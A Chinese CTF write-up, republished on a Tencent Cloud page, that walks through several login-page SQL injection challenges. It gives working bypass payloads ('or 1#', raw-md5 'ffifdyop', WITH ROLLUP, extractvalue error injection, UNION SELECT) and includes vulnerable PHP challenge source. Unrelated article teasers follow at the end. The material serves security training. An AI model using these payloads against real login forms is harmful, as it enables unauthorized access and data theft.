CTF| SQL注入之login界面

SQL注入是CTF WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。

万能密码—very easy

题目入口:

http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

题目来源:hacking lab inject 01~

源代码有提示:

万能密码登录语句构造:

select * from admin where username='admin'and 1=1 #' and password='123456'

OR

select * from admin where username='admin'or 1 #' and password='123456'

或者不需要admin 。

select * from admin where username='1'or 1 or 1 #' and password='123456'

还可以用#来注释

select * from admin where username='admin'#' and password='123456'

万能密码— easy

题目入口:

http://redtiger.labs.overthewire.org/level2.php 题目来源:RedTigers Hackit Level 2 Simple login-bypass

做题密码:4_is_not_random 构造语句: username=1&password=1'or'1'or'1&login=Login

万能密码— not than easy

题目入口:

http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

常规方式使用万能密码,发现'没有被过滤,or,--+,#被过滤。

假设后台sql查询语句为: select * from user where username='$user' and password='$pass' 构造payload: username=reborn'='&password=reborn'='

select * from user where username='reborn'='' and password='reborn'=''

username='reborn'返回值为0,相当于false,然后0=''的结果为1,相当于true。 所以注入语句相当于:

select * from user where 1 and 1

万能密码— little hard ?

题目入口:http://123.59.52.228:1515/route.php?act=index 题目来源:2017年全国大学生信息安全竞赛的web题。

提交的时候,返回包有提示这么一个sql语句: select count(*) from t_info where username = '1' or nickname = '1' ' 转义 \ \ 转义 \\ " 转义 \" 空格被过滤:但'可以转义掉原本的' name=or 1 #'&submit=check select count(*) from t_info where username = 'or1#\' or nickname = 'or1#\' 用%09代替空格,%09是制表符的URL编码 name=or%091%09#'&submit=check select count(*) from t_info where username = 'or 1 #\' or nickname = 'or 1 #\'good job 跟随302跳转。

万能密码— md5($pass,true)

题目入口:http://web.jarvisoj.com:32772/ 题目来源:jarvis oj,Login:需要密码才能获得flag哦。

本题是一个登录页面。

通过burp抓包拦截,返回包有提示:

Hint: "select * from `admin` where password='".md5($pass,true)."'"

* md5(string,raw)* string 必需。规定要计算的字符串。 raw 可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:

select * from `admin` where password=''or'xxx'

下面提供两个payload: content: 129581926211651571912466741651878684928 hex: 06da5430449f8f6f23dfc1276f722738 raw: ?T0D??o#??'or'8.N=?

content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: '?T0D??o#??'or'8.N=?

类似题目: 题目入口:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 题目来源:hacking lab inject 09~ 看到源代码password='".md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。 http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

万能密码— with rollup

题目入口:

http://ctf5.shiyanbar.com/web/pcat/index.php

题目来源:实验吧 访问链接是登录页面:

查看网页源代码有提示:

访问:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到题目源代码。

<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
 echo '<form action="" method="post">'."<br/>";
 echo '<input name="uname" type="text"/>'."<br/>";
 echo '<input name="pwd" type="text"/>'."<br/>";
 echo '<input type="submit" />'."<br/>";
 echo '</form>'."<br/>";
 echo '<!--source: source.txt-->'."<br/>";
 die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){  
 if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
 if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
 print "水可载舟,亦可赛艇!";
 exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
 die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
 if($key['pwd'] == $_POST['pwd']) {
 print "CTF{XXXXXX}";
    }else{
 print "亦可赛艇!";
    }
}else{
 print "一颗赛艇!";
}
mysql_close($con);
?>

从源代码得出,注入点在uname这个位置上,$filter没有过滤掉 or

注入成功要满足几个条件:

1. mysql_num_rows($query) == 1 即查询返回的结果行数为1。

2. $key['pwd'] == $_POST['pwd'] 即查询返回的结果与POST发送的pwd值相同。

解题: group by pass with rollup 的技巧。

mysql> select user from users group by user;

+---------+

| user |

+---------+

| 1337 |

| admin |

| gordonb |

| pablo |

| smithy |

+---------+

5 rows in set

mysql> select user from users group by user with rollup;

+---------+

| user |

+---------+

| 1337 |

| admin |

| gordonb |

| pablo |

| smithy |

| NULL |

+---------+

6 rows in set

可以发现,在加上with rollup之后,返回pass最后一行多了一个NULL。当我们POST的pass为空,即可满足$key['pwd'] == $_POST['pwd']条件。

如何让返回的结果只取最后一行呢? 因为过滤了,所以无法使用limit 5,1这样的语法 , 可以使用limit 1 offset 5

mysql> select user from users group by 1 with rollup limit 1 offset 5;

+------+

| user |

+------+

| NULL |

+------+

1 row in set

所以最终 payload 如下,2为遍历出来的值 。 uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

万能密码— 程序逻辑

题目入口:

http://ctf5.shiyanbar.com/web/5/index.php 题目来源:实验吧,程序逻辑问题 本题源代码:

http://ctf5.shiyanbar.com/web/5/index.txt

<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
 if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
 exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
 if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

首先可以发现user处存在注入点,并且会回显错误信息,第一个想到的是报错注入。

user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111

结果密码并不是admin/111

user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111

结果提示:

既然是程序逻辑漏洞,然就继续看代码吧。

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

echo "<p>Logged in! Key:************** </p>";

}

判断sql查询返回的值和$pass做比较。strcasecmp比较两个字符串,且不区分大小写,相等返回0。

既然user存在注入,我们可以让返回的结果为任何值,只要等于我们输入pass的md5值。 如:reborn的md5加密的值为5ce3c6e5c3f84bdc0f45148adfd16ae6 因此我们可以构造payload:

user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn 结果:

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-09-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小灰灰

基于ForkJoin构建一个简单易用的并发组件

基于ForkJoin构建一个简单易用的并发组件 在实际的业务开发中,需要用到并发编程的知识,实际使用线程池来异步执行任务的场景并不是特别多,而且一般真的遇到了需...

41180
来自专栏owent

小记最近踩得两个C++坑

记一下最近踩得两个C++独有的暗坑,其中一个和ABI相关。第二个坑其实之前研究过,但是没有实例,这次算是碰到了个典型的实例。

12020
来自专栏猿人谷

linux时间相关结构体和函数整理

一、时间类型。Linux下常用的时间类型有4个:time_t,struct timeb, struct timeval,struct timespec,cloc...

26750
来自专栏菩提树下的杨过

SQL Server 2005 正则表达式使模式匹配和数据提取变得更容易

目录 CLR 用户定义函数 模式匹配 数据提取 模式存储 匹配 在匹配项中进行数据提取 总结 尽管 T-SQL 对多数数据处理而言极其强大,...

41560
来自专栏更流畅、简洁的软件开发方式

【开源】QuickPager ASP.NET2.0分页控件V2.0.0.4 增加了几个分页算法

?      最近忙一个项目,没有太多的时间来升级分页控件。不过还是生了一下,V2.0.0.4。变化不是太大,修改了一个属性的名称,增加了两种分页算法,还有两...

22070
来自专栏拂晓风起

【超精简JS模版库/前端模板库】原理简析 和 XSS防范

18130
来自专栏程序员与猫

Go Code Review Comments 译文(截止2018年7月27日)

持续更新中… 原文最新链接 https://github.com/golang/go/wiki/CodeReviewComments/5a40ba36d38...

18830
来自专栏从流域到海域

《笨办法学Python》 第8课手记

《笨办法学Python》 第8课手记 第八课没有新内容,作者在常见问题解答里面说得很清楚,建议每一课的常见问题解答都要仔细阅读。 代码如下: formatter...

207100
来自专栏小樱的经验随笔

设计模式六大原则(4):接口隔离原则

定义:客户端不应该依赖它不需要的接口;一个类对另一个类的依赖应该建立在最小的接口上。 问题由来:类A通过接口I依赖类B,类C通过接口I依赖类D,如果接口I对于类...

32370
来自专栏程序你好

Java集合对象如何进行内存优化

12620

扫码关注云+社区

领取腾讯云代金券